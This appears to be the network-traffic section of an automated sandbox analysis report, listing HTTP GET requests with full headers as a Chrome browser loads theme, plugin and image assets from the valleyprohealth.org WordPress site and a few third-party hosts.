Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/default_page.css?ver=230904-91952 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/vendor.css?ver=240312-55111 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/custom.css HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/Valley-Pro-Calculator/public/js/valley-pro-calculator-public.js?ver=1.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bt_cost_calculator/bold-builder-light/bt-bb-light.js HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bt_cost_calculator/jquery.dd.js HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bt_cost_calculator/cc.main.js HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.16 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/user-submitted-posts/resources/jquery.cookie.js?ver=20240319 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/user-submitted-posts/resources/jquery.parsley.min.js?ver=20240319 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/user-submitted-posts/resources/jquery.usp.core.js?ver=20240319 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/_theme_color.bundle.js?ver=230904-91935 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/custom.js HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/homepage-923x814.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/06/icon__logo.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon_contact.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/img__empty.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-91937 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_column_content.css?ver=230904-91936 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/homepage-923x814.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_column_content_with_image.css?ver=230904-91936 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon_contact.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/img__decor--dots.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/wp-content/themes/vpchc/dist/default_page.css?ver=230904-91952Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_suggested_posts.css?ver=230904-91942 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/img__empty.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/Valley-Pro-Calculator/public/js/main.js?ver=1.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/js/scripts.js?ver=6.0.20 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/06/icon__logo.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=13.6 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/imagesloaded.min.js?ver=5.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/masonry.min.js?ver=4.2.2 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/img__decor--dots.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/js/frontend.js?ver=1.1.3 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/default_page.bundle.js?ver=230904-91951 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/vendor.bundle.js?ver=230904-92000 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-rocket/assets/js/heartbeat.js?ver=3.15.10 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/logo__vpchc-mobile.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/images/flags.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/logo__vpchc-mobile.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apps/app/dist/js/app.js HTTP/1.1Host: acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/underscore.js/1.8.3/underscore-min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_2.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
